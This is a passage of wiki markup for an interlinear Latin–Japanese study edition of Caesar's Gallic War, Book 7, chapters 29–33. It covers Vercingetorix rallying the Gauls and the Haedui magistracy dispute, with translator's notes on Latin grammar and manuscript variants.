*&lt;!--❺--&gt;&lt;sup&gt;(5)&lt;/sup&gt; Id tamen se celeriter [[wikt:en:maior#Adjective_2|maioribus]] [[wikt:en:commodum#Latin:noun|commodis]] [[wikt:en:sanaturus#Latin|sanaturum]] &lt;span style=&quot;color:#009900;&quot;&gt;(esse)&lt;/span&gt;. 
**しかしながら、自分がそれ&lt;small&gt;〔敗北〕&lt;/small&gt;を速やかに大いなる勝利によって埋め合わせるであろう。

:　
*&lt;!--❻--&gt;&lt;sup&gt;(6)&lt;/sup&gt; Nam quae ab reliquis [[wikt:en:Galli#Latin:_Gauls|Gallis]] civitates [[wikt:en:dissentirent#Latin|dissentirent]], 
**一方、&lt;small&gt;（ウェルキンゲトリークスら）&lt;/small&gt;ほかのガッリア人たちとは意見を相異する諸部族、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：先行詞 [[wikt:en:civitas#Latin|civitates]] が quae 以下の関係文中に入り込む倒置の語順。）&lt;/span&gt;
*has sua [[wikt:en:diligentia#Noun|diligentia]] [[wikt:en:adiuncturus#Latin|adiuncturum]] &lt;span style=&quot;color:#009900;&quot;&gt;(esse)&lt;/span&gt;
**彼ら&lt;small&gt;〔諸部族〕&lt;/small&gt;を自分&lt;small&gt;〔ウェルキンゲトリークス〕&lt;/small&gt;の入念さにより合流させるであろうし、
*atque unum [[wikt:en:consilium#Latin|consilium]] [[wikt:en:totus#Latin:_whole|totius]] [[wikt:en:Gallia#Latin|Galliae]] [[wikt:en:effecturus#Latin|effecturum]] &lt;span style=&quot;color:#009900;&quot;&gt;(esse)&lt;/span&gt;, 
**全ガッリアの考えを一つにするであろう。
*cuius [[wikt:en:consensus#Latin|consensui]] ne orbis quidem terrarum [[wikt:en:possit#Latin|possit]] [[wikt:en:obsistere#Latin|obsistere]]; 
**その団結には、全世界でさえ邪魔することはできない。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:ne quidem|ne ～ quidem]]「～でさえ…ない」）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:orbis#Latin|orbis]] [[wikt:en:/terrarum#Latin|terrarum]]「全世界」）&lt;/span&gt;
*[[wikt:en:id#Latin|id]]&lt;nowiki&gt;que&lt;/nowiki&gt; se [[wikt:en:prope#Adverb|prope]] iam [[wikt:en:effectus#Latin:_participle|effectum]] habere. 
**それを自分&lt;small&gt;〔ウェルキンゲトリークス〕&lt;/small&gt;は、ほとんどすでに成し遂げたと思う。

:　
*&lt;!--❼--&gt;&lt;sup&gt;(7)&lt;/sup&gt; [[wikt:en:interea#Latin|Interea]] [[wikt:en:aequus#Latin|aequum]] esse ab iis [[wikt:en:communis#Latin|communis]] [[wikt:en:salus#Latin|salutis]] causa [[wikt:en:impetrari#Latin|impetrari]], 
**その間に&lt;small&gt;（ガッリアの）&lt;/small&gt;共通の安全のために、彼ら&lt;small&gt;〔ガッリア人〕&lt;/small&gt;によって&lt;small&gt;（以下のように）&lt;/small&gt;達成されることが好都合である。
*ut castra [[wikt:en:munio#Latin|munire]] [[wikt:en:instituerent#Latin|instituerent]], 
**陣営を防御することを実施するように、
*[[wikt:en:quo#Latin:_where|quo]] [[wikt:en:facilius#Latin|facilius]] [[wikt:en:repentinus#Latin|repentinos]] hostium [[wikt:en:impetus#Latin|impetus]] &lt;u&gt;sustinerent&lt;/u&gt;.
**それにより、敵たち&lt;small&gt;〔ローマ人〕&lt;/small&gt;の予期せぬ襲撃に対して、より容易に持ちこたえられるように。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:sustinerent#Latin|sustinerent]] だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では [[wikt:en:sustinere#Latin|sustinere]] [[wikt:en:possent#Latin|possent]] となっている。）&lt;/span&gt;
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===30節===
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/30節]]　{{進捗|00%|2026-08-29}}&lt;/span&gt;
;ガッリア勢がウェルキンゲトリークスに心服し、希望を抱く

:　
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; Fuit haec [[wikt:en:oratio#Latin|oratio]] non [[wikt:en:ingratus#Latin|ingrata]] [[wikt:en:Galli#Latin:_Gauls|Gallis]], 
**この演説は、ガッリア人たちにとっては不快なものではなかった。
*et maxime, quod ipse animo non [[wikt:en:defecerat#Latin|defecerat]], [[wikt:en:tantus#Latin|tanto]] [[wikt:en:acceptus#Latin|accepto]] [[wikt:en:incommodum#Latin|incommodo]], 
**──というのは、とりわけ&lt;small&gt;（ウェルキンゲトリークス）&lt;/small&gt;自身がこれほどの敗北を蒙っても意気消沈することなく、
*neque &lt;u&gt;se&lt;/u&gt; [[wikt:en:in_occultum#Latin|in occultum]] [[wikt:en:abdiderat#Latin|abdiderat]] 
**秘密の場所に身を隠したり、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部の再帰代名詞 se は 最初の印刷本 [[ガリア戦記/注解編/写本と校訂版#Editio_princeps|''ed. pr.'']] で挿入されたもので、主要写本 &amp;omega; にはない。）&lt;/span&gt;
*et [[wikt:en:conspectus#Latin:_noun|conspectum]] [[wikt:en:multitudo#Latin|multitudinis]] [[wikt:en:fugerat#Latin|fugerat]]&lt;!--,--&gt;; 
**大勢の見ているところを避けたりしなかったからである──。

:　
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; [[wikt:en:plus#Latin:_adverb|plus]]&lt;nowiki&gt;que&lt;/nowiki&gt; animo [[wikt:en:provideo#Latin|providere]] et [[wikt:en:praesentio#Latin|praesentire]] [[wikt:en:existimabatur#Latin|existimabatur]], 
**&lt;small&gt;（ウェルキンゲトリークスは他の者よりも）&lt;/small&gt;より先見の明があり、予感していると考えられていた。
*quod re [[wikt:en:integer#Latin|integra]] 
**──というのは、事態が手つかずのままで、
*[[wikt:en:primo#Latin:_adverb|primo]] [[wikt:en:incendendus#Latin|incendendum]] &lt;span style=&quot;color:#009900;&quot;&gt;(esse)&lt;/span&gt; [[wikt:en:Avaricum#Latin|Avaricum]], 
**当初はアウァーリクムが焼き払われるべきだと&lt;small&gt;（主張し）&lt;/small&gt;、
*post [[wikt:en:deserendus#Latin|deserendum]] &lt;span style=&quot;color:#009900;&quot;&gt;(esse)&lt;/span&gt;, [[wikt:en:censuerat#Latin|censuerat]]. 
**後には&lt;small&gt;（アウァーリクムは）&lt;/small&gt;放棄されるべきだ、と主張していたからだ──。

:　
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; [[wikt:en:itaque#Latin|Itaque]] &lt;u&gt;ut&lt;/u&gt; [[wikt:en:reliquus#Latin|reliquorum]] [[wikt:en:imperator#Latin|imperatorum]] res adversae [[wikt:en:auctoritas#Latin|auctoritatem]] [[wikt:en:minuunt#Latin|minuunt]], 
**それゆえに、逆境がほかの将軍たちの影響力を減ずる一方で、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:ut#Conjunction|ut]] ～, [[wikt:en:sic#Latin|sic]] …「～であるように、同様に…」あるいは「～である一方で、…」。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:res#Latin|res]] [[wikt:en:adversus#Participle|adversae]]「逆境、（戦争における）敗北」。）&lt;/span&gt;
*&lt;u&gt;sic&lt;/u&gt; huius &lt;u&gt;ex contrario&lt;/u&gt; [[wikt:en:dignitas#Latin|dignitas]] &lt;u&gt;incommodo&lt;/u&gt; [[wikt:en:acceptus#Latin|accepto]] &lt;u&gt;in dies&lt;/u&gt; [[wikt:en:augebatur#Latin|augebatur]]. 
**それどころか、彼の威厳は、災難を蒙っても、日ごとに高まっていたのだ。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:ex_contrario#Latin|ex contrario]]「それどころか」。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:incommodum#Latin|incommodum]]「不運、災難、（戦争における）敗北」。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:in_dies#Latin|in dies]]「日に日に」「日ごとに」。）&lt;/span&gt;

:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; [[wikt:en:simul#Latin|Simul]] &lt;u&gt;in spem [[wikt:en:veniebant#Latin|veniebant]]&lt;/u&gt; eius [[wikt:en:adfirmatio#Latin|adfirmatione]] de reliquis [[wikt:en:adiungendus#Latin|adiungendis]] [[wikt:en:civitas#Latin|civitatibus]]; 
**同時に、彼の断言によって&lt;small&gt;（ガッリア人たちは）&lt;/small&gt;ほかの諸部族を合流させることについて希望を抱いていた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：in [[wikt:en:spes#Latin|spem]] [[wikt:en:venio#Latin|venire]]「希望を抱くようになる」。）&lt;/span&gt;
*[[wikt:en:primum#Adverb|primum]]&lt;nowiki&gt;que&lt;/nowiki&gt; eo tempore [[wikt:en:Galli#Latin:_Gauls|Galli]] [[wikt:en:castra#Latin|castra]] [[wikt:en:munio#Latin|munire]] [[wikt:en:instituerunt#Latin|instituerunt]], 
**そのときに初めて、ガッリア人たちは陣営の防備を固めることに着手した。
*et &lt;u&gt;sic&lt;/u&gt; &lt;u&gt;sunt&lt;/u&gt; animo &lt;u&gt;consternati&lt;/u&gt;, homines [[wikt:en:insuetus#Latin|insueti]] [[wikt:en:labor#Latin|laboris]], 
**&lt;small&gt;（陣営の防備という）&lt;/small&gt;労苦に慣れていない人々が、&lt;u&gt;気持ちが狼狽していたので、&lt;/u&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:sic#Latin|sic]] ～, [[wikt:en:ut#Conjunction|ut]] …「～であるので、その結果…ほどだった」。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部の sunt は主要写本 &amp;omega; の記述だが、erant とする修正提案もある。&lt;br&gt;　　　　sunt なら未完了過去 (sunt consternati)、erant なら過去完了 (erant consternati) になる。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部の [[wikt:en:consternati#Latin|consternati]] は主要写本 &amp;omega; の記述だが、&lt;br&gt;　　　　　　　　 ''[[ガリア戦記/注解編/写本と校訂版#Nipperdey|Nipperdey]]'' は [[wikt:en:confirmati#Latin|confirmati]] と修正提案している。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：写本の読みは sunt [[wikt:en:consternati#Latin|consternati]] 「（彼らは）恐怖に陥っていた、混乱していた。」だが、&lt;br&gt;　　　　修正読みでは sunt [[wikt:en:confirmati#Latin|confirmati]] 「（彼らは）励まされた」。）&lt;/span&gt;
*&lt;u&gt;ut&lt;/u&gt; omnia, quae [[wikt:en:imperarentur#Latin|imperarentur]], sibi [[wikt:en:patiendus#Latin|patienda]] &lt;span style=&quot;color:#009900;&quot;&gt;(esse)&lt;/span&gt; &lt;u&gt;et perferenda &lt;span style=&quot;color:#009900;&quot;&gt;(esse)&lt;/span&gt;&lt;/u&gt; [[wikt:en:existimarent#Latin|existimarent]].
**自分たちにとって、命令されたことすべてを耐えるべきであり、&lt;u&gt;成就するべきである&lt;/u&gt;と考えるに至ったほどであった。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部の et [[wikt:en:perferenda#Latin|perferenda]] (esseは省略されている) は&amp;beta;系写本の記述で、&lt;br&gt;　　　　　　　　&amp;alpha;系写本にはない。）&lt;/span&gt;
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===31節===
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/31節]]　{{進捗|00%|2026-08-29}}&lt;/span&gt;
;ウェルキンゲトリークスがほかの諸部族を勧誘し、兵力を補充する

:　
;　　　ウェルキンゲトリークスが、さらに多くの部族に同盟を誘いかける
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; Nec minus, quam est [[wikt:en:pollicitus#Latin|pollicitus]], 
**約束したことに劣らず、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:nec#Latin|nec]] [[wikt:en:minus#Adverb_4|minus]] [[wikt:en:quam#Latin|quam]] ～「～に劣らず」。）&lt;/span&gt;
*[[wikt:en:Vercingetorix#Latin|Vercingetorix]] animo [[wikt:en:laborabat#Latin|laborabat]], ut reliquas [[wikt:en:civitas#Latin|civitates]] [[wikt:en:adiungeret#Latin|adiungeret]], 
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]は、ほかの諸部族を加盟させるように、心から努力した。
*atque &lt;u&gt;earum principes donis pollicitationibusque&lt;/u&gt; [[wikt:en:adliciebat#Latin|adliciebat]]. 
**それらの領袖たちに贈物を約束することによって、誘い込もうとしていた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;beta;系写本では earum [[wikt:en:princeps#Noun_3|principes]] [[wikt:en:donum#Latin|donis]] [[wikt:en:pollicitatio#Latin|pollicitationibus]]&lt;nowiki&gt;que&lt;/nowiki&gt; だが、&lt;br&gt;　　　　　　　　　&amp;alpha;系写本では eas donis pollicitationibus となっている。）&lt;/span&gt;
:　
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; Huic rei [[wikt:en:idoneus#Latin|idoneos]] homines [[wikt:en:deligebat#Latin|deligebat]], 
**この事&lt;small&gt;〔同盟に誘うこと〕&lt;/small&gt;に適切な人物たちを&lt;small&gt;（ウェルキンゲトリークスが）&lt;/small&gt;選び出して、
*quorum [[wikt:en:quisque#Latin|quisque]] aut [[wikt:en:oratio#Latin|oratione]] [[wikt:en:subdolus#Latin|subdola]] aut [[wikt:en:amicitia#Latin|amicitia]] 
**その者たちのおのおのは、巧妙な演説により、あるいは友情により、
*[[wikt:en:facillime#Latin|facillime]] &lt;u&gt;capere&lt;/u&gt; posset. 
**かなり容易に&lt;small&gt;（同盟者を）&lt;/small&gt;得ることができた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;chi;系写本･写本Lでは [[wikt:en:capere#Latin|capere]] だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では [[wikt:en:capi#Latin|capi]] となっている。）&lt;/span&gt;

:　
;　　　アウァーリクムからの逃亡者たちに、武具と衣服を支給する
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; &lt;span style=&quot;color:#009900;&quot;&gt;[eos]&lt;/span&gt; qui [[wikt:en:Avaricum#Latin|Avarico]] [[wikt:en:expugnatus#Latin|expugnato]] [[wikt:en:refugerant#Latin|refugerant]], 
**&lt;small&gt;（ウェルキンゲトリークスは）&lt;/small&gt;アウァーリクムが攻略されたので逃げて来ていた者たちに、
*[[wikt:en:armandus#Latin|armandos]] [[wikt:en:vestiendus#Latin|vestiendos]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:curat#Latin|curat]]; 
**武装させられ、服を着せられるように、手配する。
:　
;　　　同盟部族に徴集する兵員の数と集まる期日を指示する
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; [[wikt:en:simul#Latin|simul]], ut [[wikt:en:deminutus#Latin|deminutae]] [[wikt:en:copiae#Latin|copiae]] [[wikt:en:redintegrarentur#Latin|redintegrarentur]], 
**同時に、減り衰えた軍勢が補充されるように、
*[[wikt:en:imperat#Latin|imperat]] [[wikt:en:certus#Latin|certum]] &lt;u&gt;numerum&lt;/u&gt; militum civitatibus, &lt;u&gt;quem&lt;/u&gt; et &lt;u&gt;quam ante diem&lt;/u&gt; in castra [[wikt:en:adduci#Latin|adduci]] [[wikt:en:velit#Latin|velit]], 
**諸部族に、兵の一定の&lt;u&gt;数&lt;/u&gt;を&lt;u&gt;どれほど&lt;/u&gt;、かつ、&lt;u&gt;いつの日の前までに&lt;/u&gt;陣営に連れて来ることを欲しているかを指図し、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:qui#Determiner|quem]] [[wikt:en:numerus#Latin|numerum]] 「どれほどの数を」。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:qui#Determiner|quam]] ante [[wikt:en:dies#Latin|diem]] 「いつの日の前までに」。）&lt;/span&gt;
*[[wikt:en:sagittarius#Noun|sagittarios]]&lt;u&gt;que&lt;/u&gt; omnes, quorum erat [[wikt:en:permagnus#Latin|permagnus]] &lt;u&gt;numerus in Gallia&lt;/u&gt;, [[wikt:en:conquiri#Latin|conquiri]] et ad se [[wikt:en:mitti#Latin|mitti]] [[wikt:en:iubet#Latin|iubet]]. 
**ガッリアにかなり大勢がいた弓兵のすべてを、徴募して自分&lt;small&gt;〔ウェルキンゲトリークス〕&lt;/small&gt;のもとへ派遣することを命じる。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本の語順は numerus in Gallia で、&lt;br&gt;　　　　　　　　　&amp;beta;系写本の語順は in Gallia numerus となっている。）&lt;/span&gt;
*His rebus celeriter id, quod [[wikt:en:Avaricum#Latin|Avarici]] [[wikt:en:deperierat#Latin|deperierat]], [[wikt:en:expletur#Latin|expletur]]. 
**これらの事により、速やかに、アウァーリクムで壊滅していたそれら&lt;small&gt;（の軍勢）&lt;/small&gt;が補充される。
:　
;　　　ニティオブロゲース族の王テウトマトゥスが、騎兵隊らとともにウェルキンゲトリークスに合流する
*&lt;!--❺--&gt;&lt;sup&gt;(5)&lt;/sup&gt; [[wikt:en:interim#Latin|Interim]] [[wikt:en:Teutomatus#Latin|Teutomatus]], [[wikt:en:Ollovico#Latin|Olloviconis]] filius, rex &lt;u&gt;Nitiobrogum&lt;/u&gt;, 
**その間に、オッロウィコーの息子で、ニティオブロゲース族の王であるテウトマトゥスが、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、主要写本&amp;omega; では Nitiobrogum だが、&lt;br&gt;　　　　　　　　　写本Uの一部では [[wikt:en:Nitiobriges#Latin|Nitiobrigum]] となっている。）&lt;/span&gt;
*cuius pater ab [[wikt:en:senatus#Latin|senatu]] nostro amicus erat [[wikt:en:appellatus#Latin|appellatus]], 
**その父&lt;small&gt;〔オッロウィコー〕&lt;/small&gt;は、我が方&lt;small&gt;〔ローマ人〕&lt;/small&gt;の[[w:元老院 (ローマ)|元老院]]から友人と呼ばれていたのだが、
*cum magno [[wikt:en:eques#Latin|equitum]] suorum numero et quos ex [[wikt:en:Aquitania#Latin|Aquitania]] [[wikt:en:conduxerat#Latin|conduxerat]] ad eum [[wikt:en:pervenit#Etymology_2|pervenit]].
**自らの騎兵の多数およびアクィーターニアから募っていた者たちとともに、彼&lt;small&gt;〔ウェルキンゲトリークス〕&lt;/small&gt;のもとへ到着した。

&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

==ゲルゴウィア攻略戦、ハエドゥイー族の離反==
{{wikipedia|ゲルゴウィアの戦い}}
{{wikipedia|en:Battle of Gergovia}}
{{wikipedia|la:Obsidio Gergoviensis}}
===32節===
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/32節]]　{{進捗|00%|2026-09-23}}&lt;/span&gt;
;ハエドゥイー族内紛の危機

:　
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; Caesar [[wikt:en:Avarici#Latin|Avarici]] complures dies [[wikt:en:commoratus#Latin|commoratus]] 
**カエサルは、アウァーリクムに幾日も留まって、
*[[wikt:en:summus#Latin|summam]]&lt;nowiki&gt;que&lt;/nowiki&gt; ibi [[wikt:en:copia#Latin|copiam]] [[wikt:en:frumentum#Latin|frumenti]] et reliqui [[wikt:en:commeatus#Latin:_noun|commeatus]] [[wikt:en:nactus#Latin|nactus]] 
**そこでかなり多量の糧食やほかの必需品を手に入れて、
*[[wikt:en:exercitus#Latin:_noun|exercitum]] ex [[wikt:en:labor#Latin:_work|labore]] atque [[wikt:en:inopia#Latin:_noun|inopia]] &lt;u&gt;reficit&lt;/u&gt;. 
**軍隊を労苦や欠乏から回復させた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;chi;系･&amp;beta;系写本では [[wikt:en:reficit#Latin|reficit]]&lt;sub&gt;&amp;nbsp;(現在形)&lt;/sub&gt; だが、&lt;br&gt;　　　　　　　　　&amp;phi;系写本では [[wikt:en:refecit#Latin|refecit]]&lt;sub&gt;&amp;nbsp;(完了形)&lt;/sub&gt; となっている。）&lt;/span&gt;

:　
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; Iam [[wikt:en:prope#Adverb|prope]] [[wikt:en:hiems#Latin|hieme]] [[wikt:en:confectus#Latin|confecta]], 
**すでに、ほぼ冬は過ぎ去り、
*cum ipso anni tempore ad [[wikt:en:gerendus#Latin|gerendum]] bellum [[wikt:en:vocaretur#Latin|vocaretur]] et ad hostem [[wikt:en:proficisci#Latin|proficisci]] [[wikt:en:constituisset#Latin|constituisset]], 
**&lt;small&gt;（カエサルが）&lt;/small&gt;まさにその時季に戦争を遂行するために呼び寄せられて、敵の方へ発つことを決意していたときに、
*&lt;u&gt;sive&lt;/u&gt; eum ex [[wikt:en:palus#Latin|paludibus]] [[wikt:en:silva#Latin|silvis]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:elicio#Latin|elicere]] &lt;u&gt;sive&lt;/u&gt; [[wikt:en:obsidio#Latin|obsidione]] [[wikt:en:premo#Latin|premere]] [[wikt:en:posset#Latin|posset]], 
**&lt;u&gt;あるいは&lt;/u&gt;&lt;small&gt;（敵を）&lt;/small&gt;沼地や森林から誘い出せるか、&lt;u&gt;あるいは&lt;/u&gt;包囲により圧倒することができるか、というときに、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：sive ～ sive …「あるいは～、あるいは…」）&lt;/span&gt;
*[[wikt:en:legatus#Latin:_noun|legati]] ad eum [[wikt:en:princeps#Latin:_noun|principes]] [[wikt:en:Haedui#Latin|Haeduorum]] [[wikt:en:veniunt#Latin|veniunt]] 
**[[w:ハエドゥイ族|ハエドゥイー族]]の領袖たちが使節として彼&lt;small&gt;〔カエサル〕&lt;/small&gt;のもとへやって来る。
*[[wikt:en:oratum#Latin:_supine|oratum]], ut maxime [[wikt:en:necessarius#Latin:_unavoidable|necessario]] tempore [[wikt:en:civitas#Latin|civitati]] [[wikt:en:subveniat#Latin|subveniat]]&lt;!--;--&gt;: 
**きわめて緊急の時に、部族を助けてくれるように、と頼むために。

:　
;　　　ハエドゥイー族の救援要請（以下、間接話法）
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; [[wikt:en:summus#Latin|summo]] esse in [[wikt:en:periculum#Latin|periculo]] rem, 
**事態は最大の危機にある。
*quod, cum [[wikt:en:singulus#Latin|singuli]] [[wikt:en:magistratus#Latin|magistratus]] [[wikt:en:antiquitus#Latin|antiquitus]] [[wikt:en:creari#Latin|creari]] atque [[wikt:en:regius#Latin|regiam]] [[wikt:en:potestas#Latin|potestatem]] &lt;u&gt;annum&lt;/u&gt; [[wikt:en:obtineo#Latin|obtinere]] [[wikt:en:consuessent#Latin|consuessent]], 
**──というのは、昔から一人ずつの統領が選出されて、一年ごとに支配権力に就くことが常であったのに、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：[[ガリア戦記 第1巻#16節|第1巻16節]]によれば、ウェルゴブレトゥス [[w:la:Vergobretus|Vergobretus]]という最高官職が毎年選ばれて大権を司る。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:annum#Latin|annum]] だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では [[wikt:en:annuam#Adjective|annuam]] となっている。）&lt;/span&gt;
*duo [[wikt:en:magistratus#Latin|magistratum]] [[wikt:en:gerant#Latin|gerant]] 
**2名が統領を司り、
*et se [[wikt:en:uterque#Latin|uterque]] eorum legibus &lt;u&gt;creatum esse&lt;/u&gt; [[wikt:en:dicat#Latin:_speak|dicat]]. 
**彼らの双方ともに自分は法により&lt;small&gt;〔合法的に〕&lt;/small&gt;選出されたのであると言っているのだから──。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:creatus#Latin|creatum]] esse だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では esse は省かれている。）&lt;/span&gt;

:　&lt;!--　[[wikt:en:|　--&gt;
{{wikipedia|en:Convictolitavis}}
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; Horum esse alterum [[wikt:en:Convictolitavis#Latin|Convictolitavem]], [[wikt:en:florens#Latin|florentem]] et [[wikt:en:inlustris#Latin|inlustrem]] [[wikt:en:adulescens#Noun|adulescentem]]&lt;!--,--&gt;; 
**彼らの一方は、コンウィクトリタウィスで、声望があり、秀でた青年である。
*alterum [[wikt:en:Cotus#Latin|Cotum]], [[wikt:en:antiquissimus#Latin|antiquissima]] familia [[wikt:en:natus#Latin:_born|natum]] 
**他方は、コトゥスで、とても古くからの家系に生まれて、
*atque ipsum hominem summae [[wikt:en:potentia#Latin|potentiae]] et magnae [[wikt:en:cognatio#Latin|cognationis]], 
**自身も最大勢力と多くの縁戚関係をもつ人物であり、
*cuius frater Valetiacus proximo anno eundem [[wikt:en:magistratus#Latin|magistratum]] [[wikt:en:gesserit#Latin|gesserit]]. 
**その兄弟ウァレティアクスは前年に同じ統領を司っていたのである。

:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❺--&gt;&lt;sup&gt;(5)&lt;/sup&gt; Civitatem esse omnem in [[wikt:en:arma#Latin|armis]]; 
**部族は皆が武装している。
*[[wikt:en:divisus#Latin|divisum]] [[wikt:en:senatus#Latin|senatum]], divisum [[wikt:en:populus#Latin:_people|populum]], &lt;u&gt;suas&lt;/u&gt; [[wikt:en:cuiusque#Latin|cuiusque]] eorum [[wikt:en:clientela#Latin|clientelas]]. 
**評議会も分裂し、民衆も分裂し、彼ら&lt;small&gt;〔2名〕&lt;/small&gt;の&lt;small&gt;（それぞれの）&lt;/small&gt;庇護民となっている。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部の suas は主要写本&amp;omega;の記述だが、より劣った写本では in suas となっている。）&lt;/span&gt;
*[[wikt:en:quodsi#Latin|Quodsi]] [[wikt:en:diutius#Latin|diutius]] [[wikt:en:alatur#Latin|alatur]] [[wikt:en:controversia#Latin|controversia]], 
**もしこれ以上、紛争が進められれば、
*fore uti pars cum parte civitatis [[wikt:en:confligat#Latin|confligat]]. 
**部族の派閥と派閥が激突することになるであろう。
*Id ne [[wikt:en:accidat#Etymology_1|accidat]], [[wikt:en:positus#Latin|positum]] in eius [[wikt:en:diligentia#Latin|diligentia]] atque [[wikt:en:auctoritas#Latin|auctoritate]].
**それが起こらないかは、彼（カエサル）の入念さと影響力にかかっている。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===33節===
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/33節]]　{{進捗|00%|2026-10-04}}&lt;/span&gt;
;カエサルがハエドゥイー族の権力をコンウィクトリタウィスに与える

:　
;　　　カエサルが、ハエドゥイー族の内紛を危惧する
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; Caesar, &lt;u&gt;etsi&lt;/u&gt; a bello atque hoste [[wikt:en:discedo#Latin|discedere]] [[wikt:en:detrimentosus#Latin|detrimentosum]] esse [[wikt:en:existimabat#Latin|existimabat]], 
**カエサルは、戦争や敵から離れることは損害をもたらすものである、と考えていたのではあるが、
*&lt;u&gt;tamen&lt;/u&gt; non [[wikt:en:ignorans#Latin|ignorans]], [[wikt:en:quantus#Latin|quanta]] ex [[wikt:en:dissensionibus#Latin|dissensionibus]] [[wikt:en:incommodum#Noun|incommoda]] [[wikt:en:oriri#Latin|oriri]] [[wikt:en:consuessent#Latin|consuessent]], 
